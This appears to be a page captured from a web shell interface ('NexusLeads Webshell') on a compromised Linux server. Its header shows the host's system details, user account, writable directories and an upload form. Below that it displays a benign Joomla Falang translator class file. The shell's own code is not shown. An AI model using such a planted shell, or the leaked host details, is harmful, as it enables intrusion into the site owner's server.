NexusLeads Webshell
NexusLeads


Server : LiteSpeed
System : Linux server 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : alsaif ( 1057)
PHP Version : 7.4.33
Disable Function : show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/alsaif/public_html/administrator/components/com_falang/classes/translator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alsaif/public_html/administrator/components/com_falang/classes/translator/lingvanex.php
<?php
// Check to ensure this file is included in Joomla!
defined( '_JEXEC' ) or die( 'Restricted access' );

class TranslatorLingvanex extends TranslatorDefault {
	
	function __construct()
	{
		$params = JComponentHelper::getParams('com_falang');
		if (strlen($params->get('translator_lingvanex')) < 60){
			JFactory::getApplication()->enqueueMessage(JText::_('COM_FALANG_INVALID_LINGVANEX_KEY'), 'error');
			return;
		}

		if(!function_exists('curl_init')) {
			JFactory::getApplication()->enqueueMessage(JText::_('COM_FALANG_CURL_LINGVANEX_MESSAGE'), 'error');
			return;
		}

		//region non necessary for global endpoint
		$script = "var LingvanexKey = '".$params->get('translator_lingvanex')."';\n";

		$document = JFactory::getDocument();
		$document->addScriptDeclaration($script,'text/javascript');
		
		$this->script = 'translatorLingvanex.js';
	}

	//override function
	//lingvanex don't need lowercase format for language
	public function installScripts ($from, $to) {
		$script = "var translator = {'from' : '".$from. "','to' : '".$to. "'};\n";

		$document = JFactory::getDocument();
		$document->addScriptDeclaration($script,'text/javascript');


		if ($this->script != NULL){
			$document = JFactory::getDocument();
			$document->addScript('components/com_falang/assets/js/'.$this->script);
		}
	}
	//return the language code in specific format aa_AA
	//The language code is represented only in lowercase letters, the country code only in uppercase letters
	//example en_GB, es_ES, ru_RU
	public function languageCodeToISO ($language){
		$lang_code = substr($language,0,strpos($language, '-'));
		$country_code = strtoupper(substr($language,strpos($language,'-')+1));
		return $lang_code.'_'.$country_code;
	}
}

NexusLeads